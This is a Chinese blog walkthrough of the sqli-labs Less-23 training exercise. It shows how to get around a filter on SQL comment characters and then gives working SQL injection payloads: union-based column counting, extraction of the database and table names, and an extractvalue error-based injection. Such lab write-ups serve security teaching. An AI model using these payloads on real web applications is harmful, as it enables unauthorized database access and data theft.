sqli-labs(23)

本文探讨了在SQL注入中如何通过'and'操作符绕过单引号过滤,实现有效查询。介绍了报错注入作为更高效解决方案,并展示了使用`union select`判断列数的方法。重点讲解了数据库名和表名获取payload,以及报错注入案例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

本关卡是使用 ’ 进行闭合,但是在注释的使用上做了一些限制
先测试下面这两个payload:

http://192.168.2.60/sqli-labs/Less-23?id=1'#
http://192.168.2.60/sqli-labs/Less-23?id=1'--+

若是不对输入进行过滤,上面两个payload均是能够返回正常页面,但是测试后发现上述两个payload均无法返回正常页面
# 与 --均被过滤,本题最大的难题便是无法通过注释来注释掉多余的单引号,总而无法完成注入,使用上面两个payload可能均会报如下错误:
在这里插入图片描述这个时候便需要一个新的解决办法,先看一个新的payload:

http://192.168.2.60/sqli-labs/Less-23?id=1' and '1'='1

该语句便能成功执行,其重点便在于 and ‘1’='1 通过该语句便能够成功处理多余的单引号,从而将其构成一个语法正确的sql语句
但是,我发现使用该种方法,便不能使用 order by 语句来对列的数目进行判断了,即下面这个payload是无效的

http://192.168.2.60/sqli-labs/Less-23?id=1' order by 10 and '1'='1

通过这个payload是无法判断列数的
不过可以使用类似下面这两个payload的样式来对列数进行判断

http://192.168.2.60/sqli-labs/Less-23?id=1' union select 1,2,3 and '1'='1
http://192.168.2.60/sqli-labs/Less-23?id=1' union select 1,2,3,4 and '1'='1

通过上方两个payload便可以确定列数
余下的操作也就没有什么难度了,与平时的操作没有什么大的区别,直接贴上payload
数据库名:

http://192.168.2.60/sqli-labs/Less-23?id=-1' union select 1,database(),3 and '1'='1

表名:

http://192.168.2.60/sqli-labs/Less-23?id=-1' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),3 and '1'='1

 
 
 
其实这一题我认为使用报错注入更为简单,报错注入可以省去判断列数等步骤,下面贴一个爆数据库名的payload:

http://192.168.2.60/sqli-labs/Less-23?id=-1' and extractvalue(null,concat(0x7e,(database()),0x7e)) and '1'='1

这里报错注入不做主要记录,仅仅是拓展一下思路

 
 
 
若有错误之处,欢迎指正

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值